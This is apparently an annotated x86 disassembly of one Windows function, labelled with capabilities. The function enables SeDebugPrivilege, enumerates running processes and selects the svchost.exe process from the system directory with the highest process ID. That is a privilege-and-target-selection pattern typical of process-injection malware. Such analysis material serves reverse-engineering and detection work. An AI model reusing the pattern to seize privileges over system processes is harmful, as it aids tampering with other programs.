Function at 0x469510
Capabilities:
Acquire debug privileges
Enumerate processes
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x483ff8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c8
push ebx
push esi
push edi
lea eax, [ebp - 0x1d4]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 0x80
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x254]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x254]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x4d4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1c]
push ecx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4695e1
lea edx, [ebp - 0x28]
mov dword [ebp - 0x2c], 1
push edx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0x1c]
push ebx
push ebx
lea eax, [ebp - 0x2c]
push 0x10
push eax
push ebx
push ecx
mov dword [ebp - 0x20], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 2
mov dword [ebp - 0x14], 0xffffffff
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edx, eax
mov dword [ebp - 0x14], edx
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x150]
mov dword [ebp - 0x154], 0x128
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 1
push eax
push edx
call sub.KERNEL32.dll_Process32First
cmp eax, ebx
je 0x469656
cmp dword [ebp - 0x14c], ebx
jne 0x469656
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x154]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
cmp eax, ebx
je 0x469656
cmp dword [ebp - 0x14c], ebx
jne 0x469656
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x14]
call fcn.00404a00
test eax, eax
je 0x469761
mov ebx, dword [ebp - 0x14c]
lea ecx, [ebp - 0x354]
push ecx
push ebx
mov byte [ebp - 0x354], 0
mov byte [ebp - 0x6d4], 0
call fcn.004047b0
lea edi, [ebp - 0x354]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 7
jl 0x469710
lea edi, [ebp - 0x354]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x6d4]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x454]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1d4]
push ecx
push str._s_svchost.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x6d4]
lea ecx, [ebp - 0x454]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x469708
lea edx, [ebp - 0x6d4]
push str.svchost.
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x469710
cmp ebx, dword [ebp - 0x18]
jle 0x469710
mov dword [ebp - 0x18], ebx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x154]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x469761
mov ecx, dword [ebp - 0x14c]
test ecx, ecx
jne 0x469656
lea edx, [ebp - 0x154]
push edx
jmp 0x46964e
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x18]
lea eax, [ebp + 8]
push eax
push 0x20
mov dword [ecx], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4697c5
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], 1
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp + 8]
push 0
push 0
lea edx, [ebp - 0x2c]
push 0x10
push edx
push 0
push eax
mov dword [ebp - 0x20], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
cmp eax, 0xffffffff
je 0x4697d4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 0xfffffffe
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret